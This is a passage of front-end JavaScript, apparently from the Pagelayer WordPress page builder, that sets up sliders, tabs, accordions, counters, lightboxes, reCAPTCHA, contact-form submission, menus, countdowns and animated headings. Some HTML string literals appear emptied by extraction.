image slider function pagelayer_pl_image_slider(jEle){ var ul = jEle.find('.pagelayer-image-slider-ul'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); pagelayer_owl_init(jEle, ul, options); } function pagelayer_get_tab_ele(temp_tabCont){ if(!pagelayer_empty(temp_tabCont.children('.pagelayer-ele-wrap').length)){ return temp_tabCont.children('.pagelayer-ele-wrap').children('.pagelayer-tab'); }else{ return temp_tabCont.children('.pagelayer-tab'); } } function pagelayer_tab_show(el, pl_id) { var parent_id = jQuery(el).closest('.pagelayer-tabs').attr('pagelayer-id'); var temp_tabCont = pagelayer_query('[pagelayer-id='+pl_id+']').closest('.pagelayer-tabcontainer'); pagelayer_get_tab_ele(temp_tabCont).hide(); pagelayer_query('[pagelayer-id='+pl_id+']').show(); jQuery(el).parent().find('.pagelayer-tablinks').each(function(){ jQuery(this).removeClass('active'); }); jQuery(el).addClass("active"); } var pagelayer_tab_timers = {}; function pagelayer_pl_tabs(jEle) { var default_active = ''; var jEle_id = jEle.attr('pagelayer-id'); var hashTabId = ''; var tabCont = jEle.children('.pagelayer-tabcontainer'); var children = pagelayer_get_tab_ele(tabCont); // Loop thru children.each(function(){ var tEle = jQuery(this); var pl_id = tEle.attr('pagelayer-id'); var title = tEle.attr('pagelayer-tab-title') || 'Tab'; var id = tEle.attr('id'); var func = "pagelayer_tab_show(this, '"+pl_id+"')"; var icon = ''; if(tEle.attr('pagelayer-tab-icon')){ icon = tEle.attr('pagelayer-tab-icon'); } // Set the default tab if(tEle.attr('pagelayer-default_active') && !pagelayer_empty(pl_id)){ default_active = pl_id; } jEle.children('.pagelayer-tabs-holder').append(' '+title+''); }); // Default Active by Hash var hash = location.hash.slice(1); if (!pagelayer_empty(hash)) { var hashTab = jEle.find('#' + hash); if (!pagelayer_empty(hashTab) && hashTab.length > 0) { var currentTab = hashTab.closest('.pagelayer-tablinks'); if (currentTab.length > 0) { var currentTabId = currentTab.attr('tab-id'); hashTabId = currentTabId; } } } if(hashTabId.length > 0){ pagelayer_tab_show(jEle.find('[tab-id=' + hashTabId + ']'), hashTabId); // Set the default tab }else if(default_active.length > 0){ pagelayer_tab_show(jEle.find('[tab-id='+default_active+']'), default_active); // Set the first tab as active }else{ var first_tab = jEle.find('[tab-id]').first(); pagelayer_tab_show(first_tab, first_tab.attr('tab-id')); } try{ clearInterval(pagelayer_tab_timers[jEle_id]); }catch(e){}; var rotate = parseInt(jEle.attr('pagelayer-tabs-rotate')); // Are we to rotate if(rotate > 0){ var i= 0; pagelayer_tab_timers[jEle_id] = setInterval(function () { if(i >= children.length){ i = 0; } var tabCont = jEle.children('.pagelayer-tabcontainer'); var tmp_pl_ele = pagelayer_get_tab_ele(tabCont)[i]; var tmp_btn_ele = jEle.find('.pagelayer-tablinks')[i] var tmp_pl_id = jQuery(tmp_pl_ele).attr('pagelayer-id'); jEle.find('.pagelayer-tablinks').each(function(){ jQuery(this).removeClass('active'); }); jQuery(tmp_btn_ele).addClass("active"); pagelayer_tab_show(tmp_btn_ele, tmp_pl_id); i++; }, rotate); } } // Setup the Accordion function pagelayer_pl_accordion(jEle){ var holder = jEle.find('.pagelayer-accordion-holder'); var accHolder = jEle.find('.pagelayer-accordion_item'); var scrolltop = false; if(accHolder.length < 1){ return false; } var icon = holder.attr('data-icon'); var active_icon = holder.attr('data-active_icon'); accHolder.find('.pagelayer-accordion-tabs span i').attr('class', icon); var currentActiveTab = jEle.find('.pagelayer-accordion_item.active').first(); // Any URL HASH ? var hash = location.hash.slice(1); if(!pagelayer_empty(hash)){ var scrollTab = jEle.find('#'+hash); if(!pagelayer_empty(scrollTab) && scrollTab.length > 0){ currentActiveTab = scrollTab.closest('.pagelayer-accordion_item'); } } var not_tabs = accHolder.find('.pagelayer-accordion_item .pagelayer-accordion-tabs'); var tabs = accHolder.find('.pagelayer-accordion-tabs').not(not_tabs); tabs.off('click'); tabs.on('click', function(e) { e.stopPropagation(); // Prevent bubbling up to parent accordions var currentTab = jQuery(this).closest('.pagelayer-accordion_item'); var accHolder = currentTab.closest('.pagelayer-accordion-holder'); // Only the current group if (currentTab.hasClass('active') && currentTab.children('.pagelayer-accordion-panel').is(':visible')) { currentTab.removeClass('active').children('.pagelayer-accordion-panel').slideUp('slow'); currentTab.find('.pagelayer-accordion-tabs').not(not_tabs).find('span i').attr('class', icon); return; } // Close only siblings inside the same accordion group accHolder.find('.pagelayer-accordion_item').not(accHolder.find('.pagelayer-accordion_item .pagelayer-accordion_item')).not(currentTab).not(currentTab.find('.pagelayer-accordion_item')).removeClass('active') .children('.pagelayer-accordion-panel').slideUp('slow') .end().find('.pagelayer-accordion-tabs').not(not_tabs).find('span i').attr('class', icon); // Open the clicked one currentTab.addClass('active').children('.pagelayer-accordion-panel').slideDown('slow'); currentTab.find('.pagelayer-accordion-tabs').not(not_tabs).find('span i').attr('class', active_icon); }); // To prevent default active click in gutenberg var setup = jEle.attr('pagelayer-setup'); // Already setup ? if(setup && setup.length > 0){ return; } jEle.attr('pagelayer-setup', 1); // If active first tab from all active tabs currentActiveTab.removeClass('active'); currentActiveTab.find('.pagelayer-accordion-tabs').click(); } // Setup the Collapse function pagelayer_pl_collapse(jEle){ var holder = jEle.find('.pagelayer-collapse-holder'); var tabs = jEle.find('.pagelayer-accordion_item'); if(tabs.length < 1){ return false; } var setup = tabs.attr('pagelayer-setup'); var icon = holder.attr('data-icon'); var active_icon = holder.attr('data-active_icon'); // Any URL HASH ? var hash = location.hash.slice(1); if(!pagelayer_empty(hash)){ var scrollTab = jEle.find('#'+hash); if(!pagelayer_empty(scrollTab) && scrollTab.length > 0){ scrollTab.closest('.pagelayer-accordion_item').addClass('active'); } } var activeTabs = jEle.find('.pagelayer-accordion_item.active'); tabs.find('.pagelayer-accordion-tabs span i').attr('class', icon); jQuery(activeTabs).addClass('active').children('.pagelayer-accordion-panel').slideDown('slow'); jQuery(activeTabs).find('.pagelayer-accordion-tabs span i').attr('class', active_icon); var not_tabs = tabs.find('.pagelayer-accordion_item .pagelayer-accordion-tabs'); var _tabs = tabs.find('.pagelayer-accordion-tabs').not(not_tabs); // Already setup ? if(setup && setup.length > 0){ _tabs.off('click'); } _tabs.on('click', function(e){ e.preventDefault(); var currentTab = jQuery(this).closest('.pagelayer-accordion_item'); if(currentTab.hasClass('active')){ currentTab.removeClass('active').children('.pagelayer-accordion-panel').slideUp('slow'); currentTab.find('.pagelayer-accordion-tabs').not(not_tabs).find('span i').attr('class', icon); return true; } currentTab.addClass('active').children('.pagelayer-accordion-panel').slideDown('slow'); currentTab.find('.pagelayer-accordion-tabs').not(not_tabs).find('span i').attr('class', active_icon); }); // Set that we have setup everything tabs.attr('pagelayer-setup', 1); } // Counter function pagelayer_counter(){ pagelayer_query('.pagelayer-counter-content').each(function(){ var jEle = jQuery(this); if(pagelayer_isVisible(jEle)){ var setup = jEle.attr('pagelayer-setup'); // Already setup ? if(setup && setup.length > 0){ return true; } var options = {}; options['duration'] = jEle.children('.pagelayer-counter-display').attr('pagelayer-counter-animation-duration'); options['delimiter'] = jEle.children('.pagelayer-counter-display').attr('pagelayer-counter-seperator-type'); options['toValue'] = jEle.children('.pagelayer-counter-display').attr('pagelayer-counter-last-value'); jEle.children('.pagelayer-counter-display').numerator( options ); // Set that we have setup everything jEle.attr('pagelayer-setup', 1); } }); } function pagelayer_progress(){ pagelayer_query('.pagelayer-progress-container').each(function(){ var jEle = jQuery(this); if(pagelayer_isVisible(jEle)){ var setup = jEle.attr('pagelayer-setup'); if(setup && setup.length > 0){ return true; } var progress_width = jEle.children('.pagelayer-progress-bar').attr('pagelayer-progress-width'); if(progress_width == undefined){ progress_width = "1"; } var width = 0; var interval; var progress = function(){ if (width >= progress_width) { clearInterval(interval); } else { width++; jEle.children('.pagelayer-progress-bar').css('width', width + '%'); jEle.find('.pagelayer-progress-percent').text(width * 1 + '%'); } } interval = setInterval(progress, 30); jEle.attr('pagelayer-setup', 1); } }); } // Dismiss Alert Function function pagelayer_dismiss_alert(x){ if(!pagelayer_empty(pagelayer_is_live)){ return; } jQuery(x).parent().parent().fadeOut(); } // Video light box handler function pagelayer_pl_video(jEle){ var videoIframe = jEle.find('.pagelayer-video-iframe'); // Adding loop, autoplay and mute properties on video before loading videoIframe.on('load', function() { // Checking of video source if it is youtube or vimeo because // TODO: Need to check, if this is not local file then return if(jQuery(this)[0].src.indexOf('youtube.com') != -1 || jQuery(this)[0].src.indexOf('vimeo.com') != -1){ return; } var vidElm = jQuery(this).contents().find('video'); var vidSrc = (pagelayer_empty(vidElm[0].src)) ? vidElm.children()[0].src : vidElm[0].src; if(vidSrc[vidSrc.indexOf('&loop=')+6] == 1){ vidElm.attr('loop','loop'); } if(vidSrc[vidSrc.indexOf('&autoplay=')+10] == 0){ vidElm.removeAttr('autoplay'); vidElm[0].pause(); }else if(vidSrc[vidSrc.indexOf('&autoplay=')+10] == 1){ vidElm.attr('autoplay',''); vidElm.attr('playsinline',''); } if(vidSrc[vidSrc.indexOf('&mute=')+6] == 1){ vidElm[0].muted = "muted"; vidElm.attr('muted',''); } }); // A tag will be there ONLY if the lightbox is on var overlayval = jEle.find('.pagelayer-video-overlay'); var a = jEle.find(".pagelayer-video-holder a"); // No lightbox if(a.length < 1 && pagelayer_empty(overlayval)){ return; } a.nivoLightbox({ effect: "fadeScale", }); jEle.find(".pagelayer-video-holder .pagelayer-video-overlay").on("click", function(ev) { var target = jQuery(ev.target); if (!target.parent("a").length) { videoIframe[0].src = videoIframe[0].src.replace("&autoplay=0", "rel=0&autoplay=1"); jQuery(this).hide(); } }); } // Image light box handler function pagelayer_pl_image(jEle){ // Drag and Drop function for image if (typeof pagelayer_preDAndD_image !== "undefined") { pagelayer_preDAndD_image(jEle); } // A tag will be there ONLY if the lightbox is on var a = jEle.find("[pagelayer-image-link-type=lightbox]"); // No lightbox if(a.length < 1){ return; } a.nivoLightbox({ effect: "fadeScale", }); } function pagelayer_stars(jEle){ var setup = jEle.attr('pagelayer-setup'); if(setup && setup.length > 0){ return true; } var count = jEle.attr('pagelayer-stars-count'); if (isNaN(count)) { count = '0'; } i = 0; var stars = ""; while(i < count){ stars +='
'; i++; } jEle.empty(); jEle.append(stars); var starsval = jEle.attr('pagelayer-stars-value'); if (isNaN(starsval)) { starsval = count; } starsval = starsval.split('.'); var fullstars = starsval[0]; var value = starsval[1]; var halfstar = parseInt(fullstars) + 1; var emptystars = parseInt(fullstars) + 2; jEle.children('.pagelayer-stars-icon').attr("class","pagelayer-stars-icon"); jEle.children('.pagelayer-stars-icon:nth-child(-n+'+ fullstars +')').addClass('pagelayer-stars-full'); if(value != undefined){ jEle.children('.pagelayer-stars-icon:nth-child('+ halfstar +')').addClass('pagelayer-stars-'+value); }else{ jEle.children('.pagelayer-stars-icon:nth-child('+ halfstar +')').addClass('pagelayer-stars-empty'); } jEle.children('.pagelayer-stars-icon:nth-child(n+'+ emptystars +')').addClass('pagelayer-stars-empty'); jEle.attr('pagelayer-setup', 1); } // Grid Gallery pagination Off On function function pagelayer_pl_grid_paginate(gridCont, pagination, pageValue, gridValue){ gridCont.hide(); pagination.removeClass('active'); pagination.eq(pageValue).addClass('active'); gridCont.eq(gridValue).show(); } //Grid Gallery Lightbox function pagelayer_pl_grid_lightbox(jEle){ // Grid Gallery pagination settings var gridCont = jEle.find('.pagelayer-grid-gallery-container').children(); var pagination = jEle.find('.pagelayer-grid-gallery-pagination ul').children(); gridCont.hide(); gridCont.eq(0).show(); // Adding event listners to pagination jEle.find('.pagelayer-grid-page-item').each(function(){ jQuery(this).on('click', function(event){ var text = jQuery(this).text(); switch(text){ case '«': pagelayer_pl_grid_paginate(gridCont, pagination, 1, 0); break; case '»': pagelayer_pl_grid_paginate(gridCont, pagination, (pagination.length-2), (gridCont.length-1)); break; default: pagelayer_pl_grid_paginate(gridCont, pagination, text, text-1); break; } }); }); // A tag will be there ONLY if the lightbox is on var a = jEle.find("[pagelayer-grid-gallery-type=lightbox]"); // No lightbox if(a.length < 1){ return; } a.nivoLightbox({ effect: "fadeScale", keyboardNav: true, clickImgToClose: false, clickOverlayToClose: true, }); } // Is string? function pagelayer_is_string(str){ if(typeof str == 'string'){ return true; } return false; } // PHP equivalent empty() function pagelayer_empty(mixed_var) { var undef, key, i, len; var emptyValues = [undef, null, false, 0, '', '0']; for (i = 0, len = emptyValues.length; i < len; i++) { if (mixed_var === emptyValues[i]) { return true; } } if (typeof mixed_var === 'object') { for (key in mixed_var) { // TODO: should we check for own properties only? //if (mixed_var.hasOwnProperty(key)) { return false; //} } return true; } return false; }; function pagelayer_fetch_dataAttrs(ele, prefix){ var options = {}; jQuery.each(ele.get(0).attributes, function(i, attrib){ //console.log(attrib); if(attrib.name.includes(prefix)){ var opt_name = attrib.name.substring(prefix.length); // Check for any Uppercase attribute if(opt_name.includes('-')){ opt_name = opt_name.split('-'); //console.log(opt_name); var opt_arr = []; jQuery.each(opt_name, function(key, value) { if(key != 0){ opt_arr.push(value.charAt(0).toUpperCase() + value.slice(1)); }else{ opt_arr.push(value); } }); //console.log(opt_arr); opt_name = opt_arr.join(''); } // Make the values correct var val = attrib.value; if(val == 'true') val = true; if(val == 'false') val = false; if(jQuery.isNumeric(val)) val = parseInt(val); options[opt_name] = val; } }); //console.log(options); if(options['controls']){ switch(options['controls']){ case 'arrows': options['nav'] = true; options['dots'] = false; break; case 'pager': options['dots'] = true; options['nav'] = false; break; case 'none': options['nav'] = false; options['dots'] = false; break; } }else{ options['nav'] = true; options['dots'] = true; } if(options['animateIn']){ switch(options['controls']){ case 'horizontal': options['animateIn'] = 'slideInLeft'; break; case 'vertical': options['animateIn'] = 'slideInDown'; break; case 'kenburns': options['animateIn'] = 'zoomIn'; break; default: options['animateIn'] = options['animateIn']; } } if(!options['items']){ options['items'] = 1; } options['responsive'] = { 0:{items: 1}, 500:{items: options['items']} } options['responsiveRefreshRate'] = 1000; // If we are in editor don't loop the Owl items if (window.location.href.indexOf('pagelayer-live=1') > -1) { //console.log('here'); options['loop'] = false; } return options; } function pagelayer_owl_init(jEle, ul, options){ //console.log(options); var setup = jEle.attr('pagelayer-setup'); var id = jEle.closest('[pagelayer-id]').attr('[pagelayer-id]'); if( options.navtext ) { var right = options.navtext.replace('left','right'); options.navText = [``, ``]; } // Already setup ? if(setup && setup.length > 0){ return true; } const wind = pagelayerGetCurrentWindow(); options['responsiveBaseElement'] = wind; var owlCar = ul.pagelayerOwlCarousel(options); // Refreshing Image slider after first load of page. var referrerOwl = function(){ setTimeout(function(){ owlCar.trigger('refresh.owl.carousel'); },700); } referrerOwl(); // To prevent slider drag inside the editable area jEle.on('mousedown', function(e){ var target = e.target; var isEditable = jQuery(target).closest('[contenteditable="true"]'); if(isEditable.length < 1){ return; } isEditable.on('mousedown.owl.core dragstart.owl.core selectstart.owl.core touchstart.owl.core touchcancel.owl.core', function(e){ e.stopPropagation(); }); }); // Gutenberg responsive Handler if(wind != window){ jQuery(wind).unbind('resize.pl_'+id, referrerOwl); jQuery(wind).on('resize.pl_'+id, referrerOwl); } // Set that we have setup everything jEle.attr('pagelayer-setup', 1); } // recaptcha handler function pagelayer_recaptcha_loader(jEle, loadScript){ loadScript = loadScript || false; // Render recaptcha var reParam = ''; var sitekey = jEle.data("sitekey"); if(!pagelayer_empty(pagelayer_recaptch_lang)){ reParam = '&hl='+pagelayer_recaptch_lang; } // Add recaptcha script if(pagelayer_empty(window.grecaptcha) && !pagelayer_empty(loadScript)){ var render = (pagelayer_recaptch_version == 'v3') ? sitekey : 'explicit'; pagelayer_query('body').append(''); } // Render recaptcha var recaptcha_interval = setInterval(function(){ if(!pagelayer_empty(window.grecaptcha)){ grecaptcha.ready(function() { try{ // Call grecaptcha.execute() to trigger reCAPTCHA v3 and get a token if(pagelayer_recaptch_version == 'v3'){ var form = jEle.closest('form'); form.find('[type="submit"]').off('click').on('click', function(e){ e.preventDefault(); grecaptcha.execute(sitekey, { action: 'submit' }).then(function (token) { // Append the token to the form or element to be submitted form.find('input.pagelayer-g-recaptcha-v3-token').val(token); if(form[0].requestSubmit){ form[0].requestSubmit(); }else{ form.submit(); } }); }); }else{ var widgetID = grecaptcha.render(jEle.get(0), {'sitekey' : sitekey}); jEle.attr('recaptcha-widget-id', widgetID); } }catch(e){ console.log("There is some issue in rendering reCaptcha. Please check your recaptcha site-key !"); } }); clearInterval(recaptcha_interval); } }, 500); } // Scroll to element button effect function pagelayer_button_element_scroll(jEle) { var speed = parseInt(jEle.attr('pagelayer_scrollto_speed') * 1000); var idspacing = 0; var scrollId = jEle.attr('pagelayer_scrollto_id'); if(jEle.attr('pagelayer_scrollto_type') == 'toid'){ var scrolltoEle = pagelayer_query('#' + scrollId); if(pagelayer_empty(scrollId) || scrolltoEle.length < 1){ return; } var idpos = parseInt(scrolltoEle.offset().top); var spacing = parseInt(jEle.attr('pagelayer_scrollto_id_viewport')); if (isNaN(spacing)) { spacing = 0; } idspacing = idpos + spacing; } jEle.on('click', function (e) { e.preventDefault(); pagelayer_query('html, body').animate({ scrollTop: idspacing }, speed); }); } //////////// // Freemium //////////// // Contact Form handler - Premium function pagelayer_contact_form(jEle){ jEle = jQuery(jEle); var id = jEle.attr('pagelayer-id'); // Set pagelayer id to input field jEle.find('form input[name="cfa-pagelayer-id"]').val(id); } // Contact Form Submit handler - Premium function pagelayer_contact_submit(jEle, e){ e.preventDefault(); // Checking for required checkboxes. for(var checkbox_div of jQuery(jEle).find('.pagelayer-contact-checkbox')){ checkbox_div = jQuery(checkbox_div); if(checkbox_div.attr('required') == 'required'){ if(pagelayer_empty(checkbox_div.find('input:checked').length)){ alert('Kindly select the required checkbox'); return; } } } // Trigger an action jQuery(document).trigger('pagelayer_contact_submit', e, jEle); // Disabling submit button with loading animation. jQuery(jEle).find('.pagelayer-contact-submit-btn').prop('disabled', true); jQuery(jEle).find('.pagelayer-contact-submit-btn .fa-spin').show('0.6'); //var fdata = jQuery(jEle).closest('form').serialize(); var redirect = jQuery(jEle).find('input[name="cfa-redirect"]'); var formData = new FormData( jQuery(jEle)[0] ); var par = jQuery(jEle).parent(); // Append the nonce formData.append('pagelayer_nonce', pagelayer_global_nonce); // Hide any message par.find(".pagelayer-message-box").hide(); // Message pos to use ? var msg_pos = 'top'; if(par.parent().hasClass('pagelayer-message-box-bottom')){ msg_pos = 'bottom'; } par.find(".pagelayer-message-box").removeClass('pagelayer-cf-msg-err pagelayer-cf-msg-suc'); jQuery.ajax({ url: pagelayer_ajaxurl+'action=pagelayer_contact_submit', type: "POST", data: formData, processData: false, contentType: false, cache:false, success:function(result){ var json = jQuery.parseJSON(result); jQuery(jEle).find('.pagelayer-contact-submit-btn').prop('disabled', false); jQuery(jEle).find('.pagelayer-contact-submit-btn .fa-spin').hide('0.6'); if('success' in json){ par.find(".pagelayer-message-"+msg_pos).addClass('pagelayer-cf-msg-suc').html(json['success']).fadeIn(); if(redirect.length > 0 && !pagelayer_empty(redirect.val())){ window.location.href = redirect.val(); } }else{ par.find(".pagelayer-message-"+msg_pos).addClass('pagelayer-cf-msg-err').html(json['failed']).fadeIn(); } }, error:function(result){ par.find(".pagelayer-message-"+msg_pos).addClass('pagelayer-cf-msg-err').html(json['failed']).fadeIn(); } }); jEle.reset(); jQuery(jEle).find('.pagelayer-recaptcha').each(function(){ var widgetID = jQuery(this).attr('recaptcha-widget-id'); if(!pagelayer_empty(window.grecaptcha)){ grecaptcha.reset(widgetID); } }); return false; } // Primary Menu Handler - Premium function pagelayer_primary_menu(jEle){ var container = jEle.find('.pagelayer-wp-menu-container'); var menu_bar = jEle.find('.pagelayer-primary-menu-bar i'); var menu_holder = jEle.find('.pagelayer-wp-menu-holder'); var layout = menu_holder.attr('data-layout'); var submenu_ind = menu_holder.attr('data-submenu_ind'); var responsive = menu_holder.attr('data-responsive'); var drop_breakpoint = menu_holder.attr('data-drop_breakpoint'); var close = jEle.find('.pagelayer-wp_menu-close'); var media_mode = pagelayer_get_media_mode(); if( (drop_breakpoint == 'tablet' && (media_mode == 'tablet' || media_mode == 'mobile')) || (drop_breakpoint == 'mobile' && media_mode == 'mobile') ){ menu_holder.addClass('pagelayer-wp-menu-dropdown'); container.addClass('pagelayer-menu-type-dropdown'); container.removeClass('pagelayer-menu-type-'+layout); layout = 'dropdown'; }else{ menu_holder.removeClass('pagelayer-wp-menu-dropdown'); container.removeClass('pagelayer-menu-type-dropdown'); container.addClass('pagelayer-menu-type-'+layout); } // Set mega menu width // Wait for all other animations to finish setTimeout(function(){ container.find('.pagelayer-mega-menu-item, .pagelayer-mega-column-item').each(function(){ var liEle = jQuery(this), lEle = liEle.find('.pagelayer-nav_menu_item').first(), megaHolder = lEle.closest('.pagelayer-mega-menu'), setClass = 'pagelayer-set-position'; if(liEle.hasClass('pagelayer-mega-column-item')){ megaHolder = liEle.children('.sub-menu'); } if(megaHolder.length < 1){ return; } var Css = {}; // Remove all css settings jQuery(document).unbind('scroll.megaMenu'); megaHolder.css({'width' : '', 'left' : '', 'max-width' : '', 'max-height' : ''}); if(layout == 'dropdown'){ return; } // Set active to get position megaHolder.addClass(setClass); var megaLeft = megaHolder.offset().left, megaWidth = lEle.attr('pagelayer-mega-width'), wContainer = lEle.closest('.pagelayer-wp-menu-container'), megaCustomWidth = lEle.attr('pagelayer-mega-custom-width') || '', widthEle; // Is vertical menu? if(layout == 'vertical'){ var docWidth = jQuery('body').width(); var vWidth = docWidth - megaLeft; Css['max-width'] = vWidth; Css['width'] = vWidth; if(megaWidth == 'custom'){ Css['width'] = megaCustomWidth; } megaHolder.css(Css); megaHolder.removeClass(setClass); return; } var megaMenuHeight = function(e){ if(!pagelayer_empty(e) && megaHolder.is(':visible')){ return; } var windowHeight = jQuery(window).height(); var ulBottom = megaHolder.closest('.pagelayer-wp_menu-ul')[0].getBoundingClientRect().bottom; megaHolder.css('max-height', windowHeight - ulBottom); }; megaMenuHeight(); jQuery(document).on('scroll.megaMenu', megaMenuHeight); switch(megaWidth){ case 'row_container': widthEle = lEle.closest('.pagelayer-row[pagelayer-id]'); Css['width'] = widthEle.width(); break; case 'custom': widthEle = lEle.closest('li'); Css['width'] = megaCustomWidth; break; default : widthEle = wContainer; Css['width'] = widthEle.width(); } if(widthEle.length > 0){ var wLeft = widthEle.offset().left; if( wLeft < megaLeft ){ Css['left'] = (wLeft) - (megaLeft); } } megaHolder.css(Css); var mRect = megaHolder[0].getBoundingClientRect(); var wRect = wContainer[0].getBoundingClientRect(); // Set mega menu position if(megaWidth != 'custom' || mRect.right < wRect.right){ megaHolder.removeClass(setClass); return; } var left = parseInt(megaHolder.css('left')); var moveLeft = mRect.right - wRect.right; if(mRect.left < moveLeft){ moveLeft = moveLeft - (moveLeft - mRect.left); } left = left - moveLeft; megaHolder.css({'left': left}); megaHolder.removeClass(setClass); }); }, 500); // Menu toggle var toggle_class; jQuery(menu_bar).unbind('click'); jQuery(menu_bar).click(function(){ jQuery(container).toggleClass('pagelayer-togglt-on'); toggle_class = jQuery(this).data('icon'); toggle_class = ( pagelayer_empty(toggle_class) ? 'fas fa-bars' : toggle_class ); if(jQuery(container).hasClass('pagelayer-togglt-on')){ jQuery(this).removeClass(toggle_class); jQuery(this).addClass('fas fa-times'); }else{ jQuery(this).removeClass('fas fa-times'); jQuery(this).addClass(toggle_class); } }); // If has sub-menu the as icon var sub_menuEle = jQuery(container).find('.pagelayer-wp_menu-ul li.menu-item-has-children:not(.pagelayer-mega-menu-item), .pagelayer-wp_menu-ul li.pagelayer-mega-menu-item'); var aEle_sub_menu = sub_menuEle.children('a'); var afterIconSpan = aEle_sub_menu.children('.after-icon') if (aEle_sub_menu.children('.after-icon').length < 1) { aEle_sub_menu.append(''); }else{ // For gutenberg afterIconSpan.attr('class', 'after-icon fa fa-' + submenu_ind); } // Toggle Sub nav var after_icon = jQuery(container).find('.pagelayer-wp_menu-ul li.menu-item-has-children .after-icon, .pagelayer-wp_menu-ul li.pagelayer-mega-menu-item .after-icon'); after_icon.unbind('click'); after_icon.click(function(e){ e.preventDefault(); if(window.matchMedia("(max-width: "+pagelayer_settings['tablet_breakpoint']+"px)").matches || layout != 'horizontal'){ jQuery(this).closest('li').toggleClass('pagelayer-active-sub-menu'); }else{ jQuery(this).closest('li').removeClass('pagelayer-active-sub-menu'); } }); close.unbind('click'); close.click(function(){ jQuery(container).toggleClass('pagelayer-togglt-on'); jQuery(menu_bar).removeClass('fas fa-times'); jQuery(menu_bar).addClass(toggle_class); }); // To edit the mega menu in live editor jQuery(document).trigger('pagelayer_primary_menu_setup_end', [jEle]); } var count_int ={}; // Show countdown render function pagelayer_countdown(jEle){ var expiry_date = jEle.find('.pagelayer-countdown-container').attr('pagelayer-expiry-date'); var timetype = jEle.find('.pagelayer-countdown-container').attr('pagelayer-time-type'); var jEle_id = jEle.attr('pagelayer-id'); if(pagelayer_empty(expiry_date) || expiry_date == "{{date}}"){ var expiry_date = new Date(new Date().getTime() + 24 * 60 * 60 * 1000); } var now; if(timetype == "server"){ now = new Date(pagelayer_server_time*1000).getTime(); }else{ now = new Date().getTime(); } var countDownDate = new Date(expiry_date).getTime(); var distance = countDownDate - now; clearInterval(count_int[jEle_id]); count_int[jEle_id] = setInterval(function() { // Time calculations for days, hours, minutes and seconds var days = Math.floor(distance / (1000 * 60 * 60 * 24)); var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)); var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60)); var seconds = Math.floor((distance % (1000 * 60)) / 1000); jEle.find('.pagelayer-days-count').html(days); jEle.find('.pagelayer-hours-count').html(hours); jEle.find('.pagelayer-minutes-count').html(minutes); jEle.find('.pagelayer-seconds-count').html(seconds); // If the count down is over, write some text if(distance < 0) { clearInterval(count_int[jEle_id]); jEle.find('.pagelayer-countdown-expired').show(); jEle.find('.pagelayer-countdown-counter').hide(); } distance = distance - 1000; }, 1000); } function pagelayer_pl_testimonial_slider(jEle){ var ul = jEle.find('.pagelayer-testimonials-holder'); // Build the options var options = pagelayer_fetch_dataAttrs(ul, 'data-slides-'); pagelayer_owl_init(jEle, ul, options); } var pagelayerAnimTimer = {}; function pagelayer_anim_heading(jEle){ var animationDelay = 2500, //loading bar effect barAnimationDelay = 3800, barWaiting = barAnimationDelay - 3000, //3000 is the duration of the transition on the loading bar - set in the scss/css file //letters effect lettersDelay = 50, //type effect typeLettersDelay = 150, selectionDuration = 500, typeAnimationDelay = selectionDuration + 800, //clip effect revealDuration = 600, revealAnimationDelay = 1500; var id = jEle.attr('pagelayer-id'); if(pagelayer_empty(pagelayerAnimTimer[id])){ pagelayerAnimTimer[id] = {}; } // Clear the previous animations for( var time in pagelayerAnimTimer[id] ){ clearTimeout(pagelayerAnimTimer[id][time]); } initHeadline(); function initHeadline(){ // Re-set styles jEle.find('.pagelayer-aheading-holder').find('span').css('opacity', ''); //insert element for each letter of a changing word singleLetters(jEle.find('.pagelayer-aheading-holder.letters').find('span')); //initialise headline animation animateHeadline(jEle.find('.pagelayer-aheading-holder')); } function singleLetters($words){ $words.each(function(){ var word = jQuery(this), letters = word.text().split(''), selected = word.hasClass('pagelayer-is-visible'); for (i in letters) { if(word.parents('.pagelayer-aheading-rotate2').length > 0) letters[i] = '' + letters[i] + ''; letters[i] = (selected) ? '' + letters[i] + '': '' + letters[i] + ''; } var newLetters = letters.join(''); word.html(newLetters).css('opacity', 1); }); } function animateHeadline($headlines){ var duration = animationDelay; $headlines.each(function(){ var headline = jQuery(this); if(headline.hasClass('pagelayer-aheading-loading-bar')){ duration = barAnimationDelay; setTimeout(function(){ headline.find('.pagelayer-words-wrapper').addClass('pagelayer-is-loading') }, barWaiting); }else if(headline.hasClass('pagelayer-aheading-clip')){ var spanWrapper = headline.find('.pagelayer-words-wrapper'), newWidth = spanWrapper.width() + 10; spanWrapper.css('width', newWidth); } else if (!headline.hasClass('type') ){ var words = headline.find('.pagelayer-words-wrapper span'), width = 0; words.each(function(){ var wordWidth = jQuery(this).width(); if (wordWidth > width) width = wordWidth; }); headline.find('.pagelayer-words-wrapper').css('width', width); }; //trigger animation setTimeout(function(){ hideWord( headline.find('.pagelayer-is-visible').eq(0) ); }, duration); }); } function hideWord($word){ var nextWord = takeNext($word); if($word.parents('.pagelayer-aheading-holder').hasClass('letters')){ var bool = ($word.children('strong').length >= nextWord.children('strong').length) ? true : false; hideLetter($word.find('strong').eq(0), $word, bool, lettersDelay); showLetter(nextWord.find('strong').eq(0), nextWord, bool, lettersDelay); }else if($word.parents('.pagelayer-aheading-holder').hasClass('pagelayer-aheading-clip')){ $word.parents('.pagelayer-words-wrapper').animate({ width : '2px' }, revealDuration, function(){ switchWord($word, nextWord); showWord(nextWord); }); }else if($word.parents('.pagelayer-aheading-holder').hasClass('pagelayer-aheading-loading-bar')){ $word.parents('.pagelayer-words-wrapper').removeClass('pagelayer-is-loading'); switchWord($word, nextWord); clearTimeout(pagelayerAnimTimer[id][0]); pagelayerAnimTimer[id][0] = setTimeout(function(){ hideWord(nextWord); }, barAnimationDelay); clearTimeout(pagelayerAnimTimer[id][1]); pagelayerAnimTimer[id][1] = setTimeout(function(){ $word.parents('.pagelayer-words-wrapper').addClass('pagelayer-is-loading'); }, barWaiting); }else{ switchWord($word, nextWord); clearTimeout(pagelayerAnimTimer[id][2]); pagelayerAnimTimer[id][2] = setTimeout(function(){ hideWord(nextWord) ; }, animationDelay); } } function showWord($word, $duration){ if($word.parents('.pagelayer-aheading-holder').hasClass('pagelayer-aheading-clip')){ $word.parents('.pagelayer-words-wrapper').animate({ 'width' : $word.width() + 10 }, revealDuration, function(){ clearTimeout(pagelayerAnimTimer[id][3]); pagelayerAnimTimer[id][3] = setTimeout(function(){ 